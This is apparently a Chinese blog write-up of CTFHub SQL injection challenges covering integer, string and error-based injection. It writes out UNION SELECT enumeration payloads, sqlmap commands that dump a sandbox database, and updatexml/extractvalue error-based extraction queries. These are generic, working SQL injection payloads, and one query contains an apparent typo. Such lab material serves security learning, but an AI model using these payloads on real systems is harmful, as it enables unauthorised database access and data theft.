CTFHub~SQL注入【整数型+数字型+报错型注入】

在这里插入图片描述

0x01整数型注入

# 本题告诉我们是整数型,所以就很容易了

image-20240812171002794

# 判断字段数量
1 order by 2

image-20240812171449788

# 判断回显点
-1 union select 1,2

image-20240812171605194

# 查询全部数据库名
-1 union select 1,group_concat(schema_name) from information_schema.schemata

image-20240812171651661

# 判断数据库中的表名
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema ='sqli'

image-20240812171726803

# 查看表中的字段名
-1 union select 1,group_concat(column_name) from information_schema.columns where tables_schema='sqli' and table_name='flag'

image-20240812173305416

# 查看数据库下的所有数据

image-20240812173058064

0x02字符型注入

此题目和上一题相似,一个是整数型注入,一个是字符型注入。字符型注入就是注入字符串参数,判断回显是否存在注入漏洞。因为上一题使用手工注入查看题目 flag ,这里就不在使用手工注入,而是使用 sqlmap 工具完成此题 。

# 查询数据库名
python3 sqlmap.py sqlmap -u "http://challenge-7a6a693ab4712704.sandbox.ctfhub.com:10800?id=1" -dbs --batch

image-20240812185109234

# 查询数据库中的表
python3 sqlmap.py sqlmap -u "http://challenge-7a6a693ab4712704.sandbox.ctfhub.com:10800?id=1" -dbs --batch  -D sqli --tables

image-20240812185325465

# 查询数据库表中的字段
python3 sqlmap.py sqlmap -u "http://challenge-7a6a693ab4712704.sandbox.ctfhub.com:10800?id=1" -dbs --batch -T flag --columns

image-20240812185551579

# 查询flag中的所有数据
python3 sqlmap.py sqlmap -u "http://challenge-7a6a693ab4712704.sandbox.ctfhub.com:10800?id=1" -dbs --batch -T flag --dump

image-20240812185802918

0x03报错注入

# 查看数据库名
1 union select updatexml(1,concat(0x7e,database(),0x7e),1);

image-20240812190132241

# 查询数据库中的表名
1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='sqli'),0x7e))--

image-20240812190557258

# 查询表中的字段名
1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e))--

image-20240812190647063

# 查询表中的所有数据
1 and extractvalue(1,concat(0x7e,(select flag from flag),0x7e))--

image-20240812191025015

# 发现falg不完整,那么我们跳过第一个字符,然后输出全部
1 and extractvalue(1,concat(0x7e,mid((select flag from flag),2),0x7e))--

image-20240812191220467

好小子,离成功又近一步!!!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值